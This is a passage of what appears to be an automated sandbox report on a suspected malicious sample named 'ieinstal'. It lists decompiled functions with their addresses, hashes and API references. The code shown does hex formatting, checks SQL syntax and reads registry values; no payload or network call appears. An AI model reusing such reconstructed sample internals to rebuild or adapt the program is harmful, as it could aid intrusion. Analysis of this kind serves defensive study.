				memset( &_v514, 0, 0x1fc);
				 *__edi =  *__edi & 0x00000000;
				_t37 = _t36 + 0xc;
				_t35 = 0;
				do {
					0x4465cc( &_v516, 0xff, "%2.2X",  *(_t35 + _a4) & 0x000000ff);
					_t37 = _t37 + 0x10;
					if(_t35 > 0) {
						wcscat(_t34, 0x44e60c);
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							wcscat(_t34, 0x452f74);
						}
					}
					wcscat(_t34,  &_v516);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}









                                                                                                                            0x0040a178
                                                                                                                            0x0040a181
                                                                                                                            0x0040a198
                                                                                                                            0x0040a19d
                                                                                                                            0x0040a1a1
                                                                                                                            0x0040a1a4
                                                                                                                            0x0040a1a6
                                                                                                                            0x0040a1bf
                                                                                                                            0x0040a1c4
                                                                                                                            0x0040a1c9
                                                                                                                            0x0040a1d1
                                                                                                                            0x0040a1d7
                                                                                                                            0x0040a1dc
                                                                                                                            0x0040a1e0
                                                                                                                            0x0040a1e6
                                                                                                                            0x0040a1ee
                                                                                                                            0x0040a1f4
                                                                                                                            0x0040a1e6
                                                                                                                            0x0040a1fd
                                                                                                                            0x0040a202
                                                                                                                            0x0040a20a
                                                                                                                            0x0040a211

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: wcscat$_snwprintfmemset
                                                                                                                            • String ID: %2.2X
                                                                                                                            • API String ID: 2521778956-791839006
                                                                                                                            • Opcode ID: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                            • Instruction ID: 672bbb69153a15f1984629f72f86def8939f314c78adde6f8276b735d3b02408
                                                                                                                            • Opcode Fuzzy Hash: fbe0b2ef567fee9eabd5ce406f53818797bf0b783fcface126c98386edfee971
                                                                                                                            • Instruction Fuzzy Hash: 2101D472A403297AF7206756AC46BBA33ACAB41714F11407BFC14AA1C2EA7C9A54469A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040D5D6 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 26COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _snwprintfwcscpy
                                                                                                                            • String ID: dialog_%d$general$menu_%d$strings
                                                                                                                            • API String ID: 999028693-502967061
                                                                                                                            • Opcode ID: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                                                            • Instruction ID: 4b5f4d23dee208ad245a1fa3262b8d520e9fbefe09054bf07968a47f6ed58b46
                                                                                                                            • Opcode Fuzzy Hash: 17378f80787d8f3ebe1be11f22ab444215ff95c87d82bd16ffe54226d060cac5
                                                                                                                            • Instruction Fuzzy Hash: 1AE04FB5E8870035E92519A10C03B2A155086A6B5BF740C2BFD0AB11D2E47F955DA40F
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408D96 Relevance: 10.2, APIs: 8, Instructions: 159stringCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 23%
                                                                                                                            			E00408D96(int __ebx, void* __esi, char* _a4, void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v27;
				char _v28;
				void* _v47;
				void _v48;
				void* _v67;
				void _v68;
				void* _v87;
				void _v88;
				void* _v107;
				char _v108;
				char _v336;
				void _v348;
				void _v367;
				void _v368;
				void* __edi;
				int _t56;
				char* _t70;
				int _t95;
				void* _t106;
				void* _t107;

				_t107 = __esi;
				_t95 = __ebx;
				_v68 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_v108 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_v28 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_v88 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				asm("stosb");
				_t56 = 0;
				_t116 = _a4;
				if(_a4 != 0) {
					_t56 = strlen(_a4);
				}
				_t96 =  &_v108;
				E0040550F(_t107,  &_v108, _t116, _t107 + 0x13f,  *((intOrPtr*)(_t107 + 0x240)), _a4, _t56,  &_v108);
				E0040550F(_t107, _t96, _t116,  &_v108, 0x14, _a8, _t95,  &_v28);
				_v368 = 0;
				memset( &_v367, 0, 0xff);
				memcpy( &_v368, _a8, _t95);
				memcpy( &_v348, _a8, _t95);
				_t97 =  &_v68;
				_push( &_v68);
				_t70 = _t95 + 0x14;
				_push(_t70);
				_a4 = _t70;
				_push( &_v368);
				_push( &_v28);
				_push(_t107);
				_t106 = 0x40;
				E0040541F( &_v68, _t106, _t116);
				E0040541F(_t97, _t106, _t116, _t107,  &_v28, _a8, _t95,  &_v48);
				memcpy( &_v368,  &_v48, 0x14);
				memcpy( &_v348, _a8, _t95);
				E0040541F(_t97, _t106, _t116, _t107,  &_v28,  &_v368, _a4,  &_v88);
				memcpy( &_v368,  &_v68, 0x14);
				memcpy( &_v348,  &_v88, 0x14);
				return E00408D18(_a16,  &_v368, _a20, _t116,  &_v336, _a12);
			}























                                                                                                                            0x00408d96
                                                                                                                            0x00408d96
                                                                                                                            0x00408da2
                                                                                                                            0x00408da9
                                                                                                                            0x00408daa
                                                                                                                            0x00408dab
                                                                                                                            0x00408dac
                                                                                                                            0x00408dad
                                                                                                                            0x00408daf
                                                                                                                            0x00408db2
                                                                                                                            0x00408db9
                                                                                                                            0x00408dba
                                                                                                                            0x00408dbb
                                                                                                                            0x00408dbc
                                                                                                                            0x00408dbd
                                                                                                                            0x00408dbf
                                                                                                                            0x00408dc2
                                                                                                                            0x00408dc9
                                                                                                                            0x00408dca
                                                                                                                            0x00408dcb
                                                                                                                            0x00408dcc
                                                                                                                            0x00408dcd
                                                                                                                            0x00408dcf
                                                                                                                            0x00408dd2
                                                                                                                            0x00408dd9
                                                                                                                            0x00408dda
                                                                                                                            0x00408ddb
                                                                                                                            0x00408ddc
                                                                                                                            0x00408ddd
                                                                                                                            0x00408ddf
                                                                                                                            0x00408de2
                                                                                                                            0x00408de9
                                                                                                                            0x00408dea
                                                                                                                            0x00408deb
                                                                                                                            0x00408dec
                                                                                                                            0x00408ded
                                                                                                                            0x00408def
                                                                                                                            0x00408df0
                                                                                                                            0x00408df2
                                                                                                                            0x00408df5
                                                                                                                            0x00408dfa
                                                                                                                            0x00408dff
                                                                                                                            0x00408e00
                                                                                                                            0x00408e17
                                                                                                                            0x00408e2c
                                                                                                                            0x00408e3f
                                                                                                                            0x00408e46
                                                                                                                            0x00408e59
                                                                                                                            0x00408e6c
                                                                                                                            0x00408e74
                                                                                                                            0x00408e77
                                                                                                                            0x00408e78
                                                                                                                            0x00408e7b
                                                                                                                            0x00408e7c
                                                                                                                            0x00408e85
                                                                                                                            0x00408e89
                                                                                                                            0x00408e8a
                                                                                                                            0x00408e8d
                                                                                                                            0x00408e8e
                                                                                                                            0x00408ea0
                                                                                                                            0x00408eb2
                                                                                                                            0x00408ec5
                                                                                                                            0x00408ee0
                                                                                                                            0x00408ef2
                                                                                                                            0x00408f07
                                                                                                                            0x00408f2c

                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memsetstrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2350177629-0
                                                                                                                            • Opcode ID: b0fd6244f294145fe9a6ea4e3d429f9bbf97f6839acfbc1745acf2347c5e71ea
                                                                                                                            • Instruction ID: 5f65aa9fdfa02acdbc3988aed820739efb0bf546d233f5e01752542f466a415e
                                                                                                                            • Opcode Fuzzy Hash: b0fd6244f294145fe9a6ea4e3d429f9bbf97f6839acfbc1745acf2347c5e71ea
                                                                                                                            • Instruction Fuzzy Hash: 3951017290050DBEEB51DAE8CC45FEFBBBCAB09304F004476F709E6155E6349B498BA6
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0042ADCD Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 217COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 77%
                                                                                                                            			E0042ADCD(intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				char _v19;
				char _v20;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr* _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				void* __edi;
				void* __esi;
				intOrPtr _t108;
				intOrPtr* _t117;
				intOrPtr _t119;
				signed int _t122;
				void* _t125;
				intOrPtr* _t126;
				void* _t129;
				void* _t131;
				intOrPtr* _t141;
				signed int _t143;
				void* _t148;
				intOrPtr _t151;
				signed char _t155;
				intOrPtr _t156;
				intOrPtr _t160;
				intOrPtr _t165;
				intOrPtr _t167;
				intOrPtr* _t171;
				intOrPtr* _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				signed int _t178;
				void* _t180;

				_t180 = (_t178 & 0xfffffff8) - 0x54;
				_t141 = _a8;
				_t155 =  *(_t141 + 6) & 0x0000ffff;
				if((_t155 & 0x00000002) == 0) {
					_t108 = _a4;
					_t171 =  *((intOrPtr*)(_t108 + 8));
					_t143 =  *((intOrPtr*)(_t108 + 0xc));
					_t160 =  *_t171;
					_v72 = _t143;
					_v84 = _t171;
					_v68 = _t160;
					if((_t155 & 0x00000010) != 0) {
						_v60 = _t141;
						_v64 = 0 |  *((intOrPtr*)(_t141 + 0x1c)) != 0x00000000;
						while(1) {
							 *(_t141 + 6) =  *(_t141 + 6) | 0x00000002;
							memset( &_v40, 0, 0x24);
							_v40 = _t171;
							_t180 = _t180 + 0xc;
							if(E0042B096( *((intOrPtr*)(_t141 + 0x28)),  &_v40) != 0 || E0042B096( *((intOrPtr*)(_t141 + 0x2c)),  &_v40) != 0) {
								goto L4;
							}
							_v20 = 1;
							_v36 =  *((intOrPtr*)(_t141 + 8));
							_v8 = _v72;
							_t117 =  *_t141;
							_t156 = 0;
							_v76 = _t117;
							_v88 = 0;
							if( *_t117 <= 0) {
								L15:
								_v88 = _t156;
								if( *((intOrPtr*)( *((intOrPtr*)(_t141 + 8)))) <= _t156) {
									L24:
									_t119 =  *((intOrPtr*)(_t141 + 0x10));
									_v76 = _t119;
									if(_t119 != _t156 || _v19 != 0) {
										 *(_t141 + 6) =  *(_t141 + 6) | 0x00000004;
									} else {
										_v20 = 0;
									}
									if( *((intOrPtr*)(_t141 + 0x14)) == _t156 || _t119 != _t156) {
										_v32 =  *_t141;
										if(E0042B096( *((intOrPtr*)(_t141 + 0xc)),  &_v40) != 0) {
											goto L4;
										} else {
											_t122 = E0042B096( *((intOrPtr*)(_t141 + 0x14)),  &_v40);
											if(_t122 != 0) {
												goto L4;
											} else {
												_v8 = _v8 & _t122;
												_v20 = 1;
												if(_v64 != _t122) {
													L34:
													_t165 = _v68;
													if( *((char*)(_t165 + 0x1e)) != 0) {
														goto L4;
													} else {
														_t174 = _v76;
														if(_t174 == 0) {
															L41:
															_t141 =  *((intOrPtr*)(_t141 + 0x1c));
															if(_t141 != 0) {
																_t171 = _v84;
																continue;
															} else {
																if(_v64 == _t141 || E0042AA6C(_v84, _v60) == 0) {
																	goto L44;
																} else {
																	goto L4;
																}
															}
														} else {
															_t125 = E0042AD03(_t156,  &_v40, _t141, _t174, "GROUP");
															_t180 = _t180 + 0x10;
															if(_t125 != 0 ||  *((intOrPtr*)(_t165 + 0x1e)) != _t125) {
																goto L4;
															} else {
																_t126 =  *((intOrPtr*)(_t174 + 0xc));
																_t175 =  *_t174;
																_t148 = 0;
																if(_t175 <= 0) {
																	goto L41;
																} else {
																	while(( *( *_t126 + 2) & 0x00000002) == 0) {
																		_t148 = _t148 + 1;
																		_t126 = _t126 + 0x14;
																		if(_t148 < _t175) {
																			continue;
																		} else {
																			goto L41;
																		}
																		goto L45;
																	}
																	_push("aggregate functions are not allowed in the GROUP BY clause");
																	goto L47;
																}
															}
														}
													}
												} else {
													_t129 = E0042AD03(_t156,  &_v40, _t141,  *((intOrPtr*)(_t141 + 0x18)), "ORDER");
													_t180 = _t180 + 0x10;
													if(_t129 != 0) {
														goto L4;
													} else {
														goto L34;
													}
												}
											}
										}
									} else {
										_push("a GROUP BY clause is required before HAVING");
										L47:
										E004169A7(_v84);
										goto L4;
									}
								} else {
									_v80 = _t156;
									do {
										_t131 =  *((intOrPtr*)(_t141 + 8)) + _v80 + 8;
										if( *((intOrPtr*)(_t131 + 0x10)) == _t156) {
											goto L23;
										} else {
											_t151 =  *((intOrPtr*)(_t131 + 4));
											_t176 = _v84;
											_t167 =  *((intOrPtr*)(_t176 + 0x200));
											if(_t151 != _t156) {
												 *((intOrPtr*)(_t176 + 0x200)) = _t151;
											}
											_v56 = E0042A7AE;
											_v52 = E0042ADCD;
											_v48 = _t176;
											_v44 = _v72;
											E0042A115( &_v56,  *((intOrPtr*)(_t131 + 0x10)));
											 *((intOrPtr*)(_t176 + 0x200)) = _t167;
											if( *((intOrPtr*)(_t176 + 0x40)) != 0 ||  *((char*)(_v68 + 0x1e)) != 0) {
												goto L4;
											} else {
												_t156 = 0;
												goto L23;
											}
										}
										goto L45;
										L23:
										_v88 = _v88 + 1;
										_v80 = _v80 + 0x38;
									} while (_v88 <  *((short*)( *((intOrPtr*)(_t141 + 8)))));
									goto L24;
								}
							} else {
								_v80 = 0;
								while(E0042B096( *((intOrPtr*)(_v80 +  *((intOrPtr*)(_t117 + 0xc)))),  &_v40) == 0) {
									_v88 = _v88 + 1;
									_v80 = _v80 + 0x14;
									if(_v88 <  *_v76) {
										_t117 = _v76;
										continue;
									} else {
										_t156 = 0;
										goto L15;
									}
									goto L45;
								}
								goto L4;
							}
							goto L45;
						}
						goto L4;
					} else {
						0x43a6e7(_t171, _t141, _t143);
						if( *((intOrPtr*)(_t171 + 0x40)) != 0 ||  *((char*)(_t160 + 0x1e)) != 0) {
							L4:
							_push(2);
							_pop(1);
						} else {
							goto L44;
						}
					}
				}
				L45:
				return 1;
			}














































                                                                                                                            0x0042add3
                                                                                                                            0x0042add7
                                                                                                                            0x0042adda
                                                                                                                            0x0042ade3
                                                                                                                            0x0042adec
                                                                                                                            0x0042adef
                                                                                                                            0x0042adf2
                                                                                                                            0x0042adf5
                                                                                                                            0x0042adf7
                                                                                                                            0x0042adfb
                                                                                                                            0x0042adff
                                                                                                                            0x0042ae03
                                                                                                                            0x0042ae2d
                                                                                                                            0x0042ae34
                                                                                                                            0x0042ae3e
                                                                                                                            0x0042ae3e
                                                                                                                            0x0042ae4c
                                                                                                                            0x0042ae51
                                                                                                                            0x0042ae58
                                                                                                                            0x0042ae66
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042ae74
                                                                                                                            0x0042ae7c
                                                                                                                            0x0042ae84
                                                                                                                            0x0042ae88
                                                                                                                            0x0042ae8a
                                                                                                                            0x0042ae8e
                                                                                                                            0x0042ae92
                                                                                                                            0x0042ae96
                                                                                                                            0x0042aed4
                                                                                                                            0x0042aeda
                                                                                                                            0x0042aede
                                                                                                                            0x0042af73
                                                                                                                            0x0042af73
                                                                                                                            0x0042af78
                                                                                                                            0x0042af7c
                                                                                                                            0x0042af8c
                                                                                                                            0x0042af85
                                                                                                                            0x0042af85
                                                                                                                            0x0042af85
                                                                                                                            0x0042af94
                                                                                                                            0x0042afa0
                                                                                                                            0x0042afb2
                                                                                                                            0x00000000
                                                                                                                            0x0042afb8
                                                                                                                            0x0042afbb
                                                                                                                            0x0042afc2
                                                                                                                            0x00000000
                                                                                                                            0x0042afc8
                                                                                                                            0x0042afc8
                                                                                                                            0x0042afd0
                                                                                                                            0x0042afd5
                                                                                                                            0x0042aff3
                                                                                                                            0x0042aff3
                                                                                                                            0x0042affb
                                                                                                                            0x00000000
                                                                                                                            0x0042b001
                                                                                                                            0x0042b001
                                                                                                                            0x0042b007
                                                                                                                            0x0042b049
                                                                                                                            0x0042b049
                                                                                                                            0x0042b04e
                                                                                                                            0x0042ae3a
                                                                                                                            0x00000000
                                                                                                                            0x0042b054
                                                                                                                            0x0042b058
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042b058
                                                                                                                            0x0042b009
                                                                                                                            0x0042b015
                                                                                                                            0x0042b01a
                                                                                                                            0x0042b01f
                                                                                                                            0x00000000
                                                                                                                            0x0042b02e
                                                                                                                            0x0042b02e
                                                                                                                            0x0042b031
                                                                                                                            0x0042b033
                                                                                                                            0x0042b037
                                                                                                                            0x00000000
                                                                                                                            0x0042b039
                                                                                                                            0x0042b039
                                                                                                                            0x0042b041
                                                                                                                            0x0042b042
                                                                                                                            0x0042b047
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042b047
                                                                                                                            0x0042b08f
                                                                                                                            0x00000000
                                                                                                                            0x0042b08f
                                                                                                                            0x0042b037
                                                                                                                            0x0042b01f
                                                                                                                            0x0042b007
                                                                                                                            0x0042afd7
                                                                                                                            0x0042afe3
                                                                                                                            0x0042afe8
                                                                                                                            0x0042afed
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042afed
                                                                                                                            0x0042afd5
                                                                                                                            0x0042afc2
                                                                                                                            0x0042b07b
                                                                                                                            0x0042b07b
                                                                                                                            0x0042b080
                                                                                                                            0x0042b084
                                                                                                                            0x00000000
                                                                                                                            0x0042b089
                                                                                                                            0x0042aee4
                                                                                                                            0x0042aee4
                                                                                                                            0x0042aee8
                                                                                                                            0x0042aeef
                                                                                                                            0x0042aef6
                                                                                                                            0x00000000
                                                                                                                            0x0042aef8
                                                                                                                            0x0042aef8
                                                                                                                            0x0042aefd
                                                                                                                            0x0042af01
                                                                                                                            0x0042af07
                                                                                                                            0x0042af09
                                                                                                                            0x0042af09
                                                                                                                            0x0042af1b
                                                                                                                            0x0042af23
                                                                                                                            0x0042af2b
                                                                                                                            0x0042af2f
                                                                                                                            0x0042af33
                                                                                                                            0x0042af3e
                                                                                                                            0x0042af44
                                                                                                                            0x00000000
                                                                                                                            0x0042af58
                                                                                                                            0x0042af58
                                                                                                                            0x00000000
                                                                                                                            0x0042af58
                                                                                                                            0x0042af44
                                                                                                                            0x00000000
                                                                                                                            0x0042af5a
                                                                                                                            0x0042af60
                                                                                                                            0x0042af64
                                                                                                                            0x0042af69
                                                                                                                            0x00000000
                                                                                                                            0x0042aee8
                                                                                                                            0x0042ae98
                                                                                                                            0x0042ae98
                                                                                                                            0x0042aea2
                                                                                                                            0x0042aebd
                                                                                                                            0x0042aec9
                                                                                                                            0x0042aed0
                                                                                                                            0x0042ae9e
                                                                                                                            0x00000000
                                                                                                                            0x0042aed2
                                                                                                                            0x0042aed2
                                                                                                                            0x00000000
                                                                                                                            0x0042aed2
                                                                                                                            0x00000000
                                                                                                                            0x0042aed0
                                                                                                                            0x00000000
                                                                                                                            0x0042aea2
                                                                                                                            0x00000000
                                                                                                                            0x0042ae96
                                                                                                                            0x00000000
                                                                                                                            0x0042ae05
                                                                                                                            0x0042ae08
                                                                                                                            0x0042ae14
                                                                                                                            0x0042ae20
                                                                                                                            0x0042ae20
                                                                                                                            0x0042ae22
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0042ae14
                                                                                                                            0x0042ae03
                                                                                                                            0x0042b074
                                                                                                                            0x0042b07a

                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset
                                                                                                                            • String ID: 8$GROUP$ORDER$a GROUP BY clause is required before HAVING$aggregate functions are not allowed in the GROUP BY clause
                                                                                                                            • API String ID: 2221118986-1606337402
                                                                                                                            • Opcode ID: 10415b1a1c8003ecd0031fb780f2e77066144490245ccd4b04bba77302a40a65
                                                                                                                            • Instruction ID: 7aef5b05df8cb417835a49add62511a3dd126d480fa81acd131143259a3eb597
                                                                                                                            • Opcode Fuzzy Hash: 10415b1a1c8003ecd0031fb780f2e77066144490245ccd4b04bba77302a40a65
                                                                                                                            • Instruction Fuzzy Hash: 5D818A706083219FDB10CF25E48162BB7E1EF84318F96885EEC949B256D738EC55CB9B
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408F2F Relevance: 9.1, APIs: 6, Instructions: 119COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcmpmemset$_mbscpymemcpystrlen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 265355444-0
                                                                                                                            • Opcode ID: a83a1467d2796da51f33b336eeec327ded5aa3ca15fd709dc7ec48effe5a66b1
                                                                                                                            • Instruction ID: d0ac777748d33e6673793c59e161d6f76d61048b6b1b65ce46f59eb5e56095ce
                                                                                                                            • Opcode Fuzzy Hash: a83a1467d2796da51f33b336eeec327ded5aa3ca15fd709dc7ec48effe5a66b1
                                                                                                                            • Instruction Fuzzy Hash: E241677190060CBEEB21DAA0DC45FDFB7BCAF04344F00443EF655E6182E675AA498BA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C3C3 Relevance: 9.1, APIs: 6, Instructions: 109registryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 88%
                                                                                                                            			E0040C3C3(void* __ecx, void* __eflags, intOrPtr _a4) {
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void _v550;
				short _v552;
				void* __esi;
				void* _t43;
				intOrPtr _t75;
				void* _t78;
				void* _t80;
				void* _t85;
				void* _t86;
				void* _t87;
				void* _t88;

				_t88 = __eflags;
				_t78 = __ecx;
				_t75 = _a4;
				_v36 = _t75 + 0x28;
				E0040B1AB(_t75 + 0x28);
				_t43 = E00414592( *((intOrPtr*)(_t75 + 4)), E0040B2CC(_t78, _t88, 0xe7),  &_v20);
				_t86 = _t85 + 0xc;
				if(_t43 == 0) {
					_t76 = _t75 + 0x68;
					_v16 = 0;
					_v32 = _t75 + 0x68;
					E0040A9CE(_t75 + 0x68, 0x2000);
					_v24 = 0;
					_v28 = 0xff;
					_v12 = 0x2000;
					_v552 = 0;
					memset( &_v550, 0, 0x1fe);
					_t87 = _t86 + 0xc;
					if(RegEnumValueW(_v20, 0,  &_v552,  &_v28, 0,  &_v24, E0040AA1D(_t76),  &_v12) != 0) {
						L4:
						return RegCloseKey(_v20);
					}
					_a4 = _a4 + 0x48;
					do {
						0x4466b8( &_v552);
						_pop(_t80);
						E0040A8D0(_v36, _t80,  &_v552, 0xffffffff);
						E0040A8D0(_a4, _t80, E0040AA1D(_v32), _v12);
						_v16 = _v16 + 1;
						_v24 = 0;
						_v28 = 0xff;
						_v12 = 0x2000;
						_v552 = 0;
						memset( &_v550, 0, 0x1fe);
						_t87 = _t87 + 0xc;
					} while (RegEnumValueW(_v20, _v16,  &_v552,  &_v28, 0,  &_v24, E0040AA1D(_v32),  &_v12) == 0);
					goto L4;
				}
				return _t43;
			}





















                                                                                                                            0x0040c3c3
                                                                                                                            0x0040c3c3
                                                                                                                            0x0040c3cd
                                                                                                                            0x0040c3d5
                                                                                                                            0x0040c3d8
                                                                                                                            0x0040c3ef
                                                                                                                            0x0040c3f4
                                                                                                                            0x0040c3f9
                                                                                                                            0x0040c3ff
                                                                                                                            0x0040c40d
                                                                                                                            0x0040c410
                                                                                                                            0x0040c413
                                                                                                                            0x0040c425
                                                                                                                            0x0040c428
                                                                                                                            0x0040c42f
                                                                                                                            0x0040c432
                                                                                                                            0x0040c439
                                                                                                                            0x0040c43e
                                                                                                                            0x0040c46b
                                                                                                                            0x0040c505
                                                                                                                            0x00000000
                                                                                                                            0x0040c508
                                                                                                                            0x0040c477
                                                                                                                            0x0040c47a
                                                                                                                            0x0040c481
                                                                                                                            0x0040c486
                                                                                                                            0x0040c493
                                                                                                                            0x0040c4a7
                                                                                                                            0x0040c4ac
                                                                                                                            0x0040c4bc
                                                                                                                            0x0040c4bf
                                                                                                                            0x0040c4c6
                                                                                                                            0x0040c4c9
                                                                                                                            0x0040c4d0
                                                                                                                            0x0040c4d5
                                                                                                                            0x0040c4fd
                                                                                                                            0x00000000
                                                                                                                            0x0040c47a
                                                                                                                            0x0040c512

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1AE
                                                                                                                              • Part of subcall function 0040B1AB: ??3@YAXPAX@Z.MSVCRT ref: 0040B1B6
                                                                                                                              • Part of subcall function 00414592: RegOpenKeyExW.KERNELBASE(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                                                                                                                              • Part of subcall function 0040A9CE: ??3@YAXPAX@Z.MSVCRT ref: 0040A9DD
                                                                                                                            • memset.MSVCRT ref: 0040C439
                                                                                                                            • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,?,?,00000000,?), ref: 0040C467
                                                                                                                            • _wcsupr.MSVCRT ref: 0040C481
                                                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                                                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                                                                                                                            • memset.MSVCRT ref: 0040C4D0
                                                                                                                            • RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,?,?,?,000000FF,?,?,?,?,00000000), ref: 0040C4FB
                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000,?), ref: 0040C508
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$EnumValuememset$CloseOpen_wcsuprmemcpywcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1973883786-0
                                                                                                                            • Opcode ID: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                            • Instruction ID: d2440758a7fd93b52fc88bd6111275bc9aa4df1ffeb01c53d5483546710cd2f3
                                                                                                                            • Opcode Fuzzy Hash: eb77d7cad75ccead34f911285e165139a1ce78e2e313fb24f2a05cc2c8735199
                                                                                                                            • Instruction Fuzzy Hash: A4411CB2900219BBDB00EF95DC85EEFB7BCAF48304F10417AB505F6191D7749A44CBA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004116DD Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 82COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E004116DD(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
